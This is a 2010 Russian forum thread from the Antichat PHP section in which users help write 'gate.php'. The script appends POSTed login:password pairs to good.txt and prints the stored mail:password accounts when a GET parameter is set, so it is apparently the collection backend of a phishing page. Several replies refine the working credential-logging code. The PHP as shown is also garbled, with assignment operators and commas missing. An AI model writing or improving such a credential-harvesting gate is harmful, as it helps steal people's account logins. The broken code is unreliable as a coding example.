HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

yнужен скрипт [PHP]
  #1  
Старый 25.02.2010, 19:20
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию yнужен скрипт [PHP]

например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


файл Accounts.txt cсодержит данные следующего типа:
Код:
mail:password
Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

???
 
Ответить с цитированием

  #2  
Старый 25.02.2010, 19:30
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

#1
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file str_replace("\n",'<br />'file_get_contents('accounts.txt'));
echo 
$file;
}
?>
#2
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file file("accounts.txt");
foreach(
$file as $line) {
echo 
$line."<br />";
}
}
?>
 
Ответить с цитированием

  #3  
Старый 25.02.2010, 19:35
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию

вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?


PHP код:
<?php
error_reporting
(0);
$accs 'good.txt';
$good fopen($accs,"a+");
fwrite($good"$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset(
$_GET['act']) && $_GET['act'] == 'show') {
$file str_replace("\n",'<br />'file_get_contents('good.txt'));
echo 
$file;

?>
 
Ответить с цитированием

  #4  
Старый 25.02.2010, 19:39
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

Поставь вначале проверку.
PHP код:
if(!empty($_POST['login']) && !empty($_POST['password'])) ... 
Но будет пропускать пробелы.
 
Ответить с цитированием

  #5  
Старый 25.02.2010, 20:17
RedFern.89
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264

Репутация: 69
Отправить сообщение для RedFern.89 с помощью ICQ
По умолчанию

а теперь как бы все это совместить?))
 
Ответить с цитированием

  #6  
Старый 25.02.2010, 20:55
Dark_cracker
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме:
807573

Репутация: 7
По умолчанию

Вот так )
PHP код:
<?php 
error_reporting
(0); 
if (!empty(
$_POST[login]) or !empty($_POST[password])){
$accs 'good.txt'
$good fopen($accs,"a+"); 
fwrite($good"$_POST[login]:$_POST[password]\n"); 
fclose($good); 
fclose($bad); 
if(isset(
$_GET['act']) && $_GET['act'] == 'show') { 
$file str_replace("\n",'<br />'file_get_contents('good.txt')); 
echo 
$file
}  
}
?>
ток поидее перенос строки будет \r\n а у тебя прост \n
 
Ответить с цитированием

  #7  
Старый 25.02.2010, 20:59
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
 
Ответить с цитированием

  #8  
Старый 25.02.2010, 21:09
AdReNa1!Ne
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме:
2308963

Репутация: 309
Отправить сообщение для AdReNa1!Ne с помощью ICQ
По умолчанию

А не проще
PHP код:
<?php
if ($_POST[login] && $_POST[password])
{
     ...
}
 
Ответить с цитированием

  #9  
Старый 25.02.2010, 23:50
LStr1ke
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме:
1455812

Репутация: 150
По умолчанию

Цитата:
Сообщение от mailbrush  
Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo 
nl2br(file_get_contents('accounts.txt')); 
омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
 
Ответить с цитированием

  #10  
Старый 25.02.2010, 23:54
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от LStr1ke  
омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : '' 
Омг
PHP код:
echo @$_GET['act']=='showaccs' nl2br(file_get_contents('pppp.txt'))  : 0
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ